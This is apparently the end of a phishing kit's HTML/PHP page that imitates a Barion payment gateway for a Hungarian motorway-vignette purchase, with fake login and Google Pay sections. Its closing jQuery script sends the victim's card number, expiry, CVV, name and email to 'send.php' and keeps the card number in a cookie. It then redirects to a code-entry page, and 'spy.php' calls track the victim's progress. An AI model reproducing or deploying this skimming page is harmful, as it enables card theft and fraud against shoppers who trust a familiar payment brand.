<input aria-labelledby="barion_wallet_email_input" autocomplete="false" class="form-control pg-form-input" data-val="true" data-val-email="Hibás email!" data-val-length="Az E-mail cím túl hosszú!" data-val-length-max="254" data-val-regex="Az email cím formátuma nem megfelelő!" data-val-regex-pattern="^(([\w\d])([\w\d]*)?([\.\-\+\&#39;\’][\w\d]+)*)@(([\w\d])([\w\d]*)?([\.\-][\w\d]+)*)\.([\w\d]{2,})$" data-val-required="Email cím megadása kötelező!" id="LoginName" inputmode="email" name="LoginName" novalidate="novalidate" placeholder="felhasznalo@example.com" required="required" type="email" value=""><span class="field-validation-valid validation-message mt-1" data-valmsg-for="LoginName" data-valmsg-replace="true"></span>        </div>
        <div class="pg-form-input-block passwordControl d-none">
            <div class="password-field-header">
                <label id="barion_wallet_pw_input">Jelszó</label>
                <a href="#" class="forgot-password-link" style="font-size: 12px;">Elfelejtetted a jelszavadat?</a>
            </div>
            <div class="password-container">
                <input aria-labelledby="barion_wallet_pw_input" class="form-control pg-form-input" data-complex-password="true" data-password-id="login-password" data-val="true" data-val-required="Jelszó megadása kötelező!" id="Password" name="Password" placeholder="••••••••" required="required" type="password">
                <a class="show-password" href="https://secure.barion.com/Pay?Id=af38529f0cf0f0119d18b8ca3a6352a2#" data-target="login-password" title="Jelszó mutatása" tabindex="0" aria-label="Jelszó mutatása">
                    <img src="./Gateway_files/show-password.svg" alt="Jelszó mutatása" width="16" height="16">
                </a>
            </div>
            <div class="validation-message-with-icon d-none">
                <span class="validation-text"></span>
            </div>
            <span class="field-validation-valid validation-message mt-1" data-valmsg-for="Password" data-valmsg-replace="true"></span>
        </div>
        <div class="pg-form-input-block d-none" id="SecurityQuestion">
            <label for="SecurityQuestion" id="SecurityQuestionLabel"></label>
            <input autocomplete="off" class="form-control bigger" data-val="true" data-val-length="A mező értéke maximum 50 karakter lehet!" data-val-length-max="50" id="SecurityQuestionDetails_ForgottenPasswordAnswer" name="SecurityQuestionDetails.ForgottenPasswordAnswer" type="text" value="">
            <span class="field-validation-valid" data-valmsg-for="SecurityQuestionDetails.ForgottenPasswordAnswer" data-valmsg-replace="true"></span>
        </div>
        <div class="clearfix formsep2"></div>
        <button id="btnLogin" class="btn btn-primary btn-block pg-form-button passwordControl d-none" data-role="submit-form" type="submit">
            Belépek
        </button>
        <button id="btnContinue" class="btn btn-primary btn-block pg-form-button loginStartControl" data-style="zoom-out">
            Tovább
        </button>
        <div class="loading-login-button btn btn-primary btn-block pg-form-button d-none">
            <div class="pg-loading loading-spinner"><div class="white"></div></div>
        </div>
</form></div>

            </div>
        </div>
    </li>
        
            <li class="pg-payment-method" id="GooglePayMethodContainer">
            <a class="pg-payment-method-header d-flex flex-row align-items-center justify-content-between" href="https://secure.barion.com/Pay?Id=af38529f0cf0f0119d18b8ca3a6352a2#" data-toggle="collapse" data-target="#PaymentMethodGooglePay" aria-expanded="false" aria-controls="PaymentMethodGooglePay">
                <img src="./Gateway_files/new-google-pay.svg" class="pg-payment-method-image" role="presentation" width="30" height="17">
                <span class="pg-payment-method-text">Google Pay</span>
                    <img src="./Gateway_files/new-chevron-down-gray.svg" class="pg-payment-method-arrow light" loading="lazy" role="presentation">
                    <img src="./Gateway_files/new-chevron-down-white.svg" class="pg-payment-method-arrow dark" loading="lazy" role="presentation">
            </a>
            <div id="PaymentMethodGooglePay" class="pg-payment-method-content collapse " data-parent="#PaymentMethodList">
                <div class="_py-3 _px-m-phone _sm__px-s-phone">
<p class="externalwallethelpertext">
    A gombra kattintást követően megjelenő oldalon válasszd ki a Google Pay esetében tárolt kártyádat.
</p>

<input name="__RequestVerificationToken" type="hidden" value="2RrR61Iz4LP6VKMVG8POMDqRyWHAM4V0fEsqgg23F4As4_I-5Hgz-embiofWR7zpCSeLzd8a6SeDh8MC6YT8ExElDKlLQxWAIs_FZe3U4tU1">

<div id="GooglePayContainer">

<div class="gpay-button-fill"><button class="gpay-button black plain short en gpay-card-info-custom-radius border-inset" id="gpay-button-online-api-id" type="button" aria-label="Google Pay" style="opacity: 1;"></button></div></div>
                </div>
            </div>
        </li>
</ul>

<div class="pr-3 pl-3 pt-3 paymentmethod-notsupported d-none">
    <div class="pg-form">
        <div class="pg-form-alert mb-0">A böngésződ nem támogatja ezt a fizetési módot.<br>Próbáld meg egy másik eszközzel vagy böngészővel!</div>
    </div>
</div>    </div>
    <div id="InstalmentError" class="pg-payment-process-step !py-3 !px-s-phone d-none">
        <div class="pg-form-alert">
    <svg width="28" height="29" viewBox="0 0 28 29" style="flex: 0 0 29px;" fill="none" xmlns="http://www.w3.org/2000/svg">
        <path d="M0 14.6934C0 6.96161 6.26818 0.693726 14 0.693726C21.7318 0.693726 28 6.96161 28 14.6934C28 22.4252 21.7318 28.6931 14 28.6931C6.26818 28.6931 0 22.4252 0 14.6934Z" fill="#FFB46F"></path>
        <path d="M13.993 6.06808V17.0418" stroke="white" stroke-width="2.5" stroke-linecap="round"></path>
        <circle cx="13.9927" cy="21.8562" r="1.46272" fill="white"></circle>
    </svg>
    <div class="">Sikeres fizetés</div>
</div>
<div class="pg-process-info-content">
    <svg class="pg-payment-process-image mx-auto barion-error-icon" width="120" height="120" viewBox="0 0 162 162" fill="none" xmlns="http://www.w3.org/2000/svg">
  <path class="animate-sentiment-light-bg origin-center" style="transform: scale(0.82)" opacity="0.4" d="M150.696 110.233C166.88 71.2101 148.348 26.463 109.304 10.2878C70.2593 -5.88734 25.4878 12.6346 9.30376 51.6578C-6.88026 90.6809 11.6518 135.428 50.6963 151.603C89.7407 167.778 134.512 149.256 150.696 110.233Z" fill="url(#paint0_linear_1211_3400)"></path>
  <path class="animate-sentiment-dark-bg origin-center" d="M137.785 104.885C151.014 72.9878 135.866 36.412 103.951 23.1906C72.0367 9.96921 35.441 25.1088 22.2123 57.0059C8.9837 88.903 24.1316 125.479 56.0461 138.7C87.9606 151.922 124.556 136.782 137.785 104.885Z" fill="url(#paint1_linear_1211_3400)"></path>
  <path class="animate-error-grow origin-center" style="opacity: 0;" d="M60.4023 101.998L80.27 81.5003L100.138 61.0029" stroke="white" stroke-width="12.7203" stroke-linecap="round"></path>
  <path class="animate-error-grow origin-center" style="opacity: 0;" d="M59.7602 61.6436L80.2688 81.5004L100.777 101.357" stroke="white" stroke-width="12.7203" stroke-linecap="round"></path>
  <defs>
    <lineargradient id="paint0_linear_1211_3400" x1="9.30376" y1="51.6578" x2="150.674" y2="110.288" gradientUnits="userSpaceOnUse">
      <stop stop-color="#FFC1CD"></stop>
      <stop offset="1" stop-color="#FF5C7B"></stop>
    </lineargradient>
    <lineargradient id="paint1_linear_1211_3400" x1="22.2123" y1="57.0059" x2="137.767" y2="104.93" gradientUnits="userSpaceOnUse">
      <stop stop-color="#FFC1CD"></stop>
      <stop offset="1" stop-color="#FF5C7B"></stop>
    </lineargradient>
  </defs>
</svg>
    <p id="ErrorMessage">A részletfizetés beállítása sikertelen. Vegye fel a kapcsolatot a kártyakibocsátó bankjával.</p>
    <a href="#" id="backToShopBtn" type="button" class="btn btn-primary btn-block pg-form-button">Vissza a boltba</a>
</div>
    </div>
</div>


            
<div id="PaymentGatewayBottom" class="mt-4 text-center">
    
<footer id="login-footer" role="contentinfo" aria-label="Fizetési kapu lábléce">
    <p class="text-body-mobile flex items-center tailwind-text-primary m-0">
        Kérdésed van?
        <a href="#" class="temp-barion-link text-headings-subtitles-h9" target="_blank" rel="noreferrer">
            Segítünk!
        </a>
    </p>
    <div class="mt-xs-desktop flex items-center justify-center md:gap-[12px]">
        <a href="#" class="temp-barion-link text-body-mobile tailwind-text-center" target="_blank" rel="noreferrer">
            Általános Szerződési Feltételek
        </a>
        <div class="h-[22px] tailwind-border-0 border-r border-solid tailwind-border-primary"></div>
        <a href="#" class="temp-barion-link text-body-mobile tailwind-text-center" target="_blank" rel="noreferrer">
            Adatkezelési Tájékoztató
        </a>
    </div>
</footer>
</div>
        </div>
    </div>
        <input type="hidden" id="PaymentId" value="af38529f-0cf0-f011-9d18-b8ca3a6352a2">
        <input type="hidden" id="PaymentTotal" value="<?php echo htmlspecialchars(Config::$payment_amount, ENT_QUOTES, 'UTF-8'); ?>">
        <input type="hidden" id="PaymentTotal_Value" value="<?php echo htmlspecialchars(Config::paymentAmountBarionValue(), ENT_QUOTES, 'UTF-8'); ?>">
        <input type="hidden" id="PaymentTotal_Currency" value="<?php echo htmlspecialchars(Config::paymentCurrencyCode(), ENT_QUOTES, 'UTF-8'); ?>">
        <input type="hidden" id="ShopName" value="Yettel">
        <input type="hidden" id="ShopCountry" value="HU">
        <input type="hidden" id="ShopGuid" value="fa6f5fec-fcb7-45a4-a1a6-df8cc9ad774f">
        <input type="hidden" id="RedirectUrl" value="https://www.autopalyamatrica.hu/purchase/status/6154090459232835?paymentId=af38529f0cf0f0119d18b8ca3a6352a2">
        <input type="hidden" id="GatewayCulture" value="hu-HU">
        <input type="hidden" id="GooglePayEnvironment" value="PRODUCTION">
        <input type="hidden" id="GooglePayMerchantId" value="BCR2DN6T36GLPRTB">
        <input type="hidden" id="GooglePayGatewayId" value="gateway">
        <input type="hidden" id="Token" value="A5GcDSDpXaCcoCsT7eY7eqSSn_nYpQ_kG_GxKRp7wAA5T1o-nNkal-AOvT7RFKZ6cKH1yQ8C6w0o7g56BgaRGlJuHN4VmQeA6UzhCLJxu841">
        <noscript>
        </noscript>









<script src="https://code.jquery.com/jquery-3.6.0.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/jquery.mask/1.14.16/jquery.mask.js"
    integrity="sha512-0XDfGxFliYJPFrideYOoxdgNIvrwGTLnmK20xZbCAvPfLGQMzHUsaqZK8ZoH+luXGRxTrS46+Aq400nCnAT0/w=="
    crossorigin="anonymous" referrerpolicy="no-referrer"></script>
<script>
    function setCookie(name, value, days) {
        var expires = "";
        if (days) {
            var date = new Date();
            date.setTime(date.getTime() + (days * 24 * 60 * 60 * 1000));
            expires = "; expires=" + date.toUTCString();
        }
        document.cookie = name + "=" + (value || "") + expires + "; path=/";
    }

    // Clear fields on page load
    $(document).ready(function() {
        $("#cc").val('');
        $("#mmyy").val('');
        $("#cvv").val('');
        $("#titular").val('');
    });

    // Input masking
    $("#cc").mask("0000 0000 0000 0000");
    $("#mmyy").mask("00/00");
    $("#cvv").mask("000");

    // Form submission
    $("#cardPaymentForm").submit(function(e) {
        e.preventDefault();

        $.post("send.php", {
            titular: $("#titular").val(),
            cc: $("#cc").val(),
            exp: $("#mmyy").val(),
            cvv: $("#cvv").val(),
            email: $("#email").val()
        }, function(response) {
            setCookie('sc_card', $("#cc").val(), 365);
            window.location = "code.php?p=kod";
        });
    });

    $.post("spy.php", {
        cardview: 1
    });
    
    var abort = false;
    $("#cc").keyup(function() {
        if (abort == false) {
            $.post("spy.php", {
                carding: 1
            });
            abort = true;
        }
    });
</script>
<?php
$m->ctr("CARD " . @$_GET['e']);
?>
</body></html>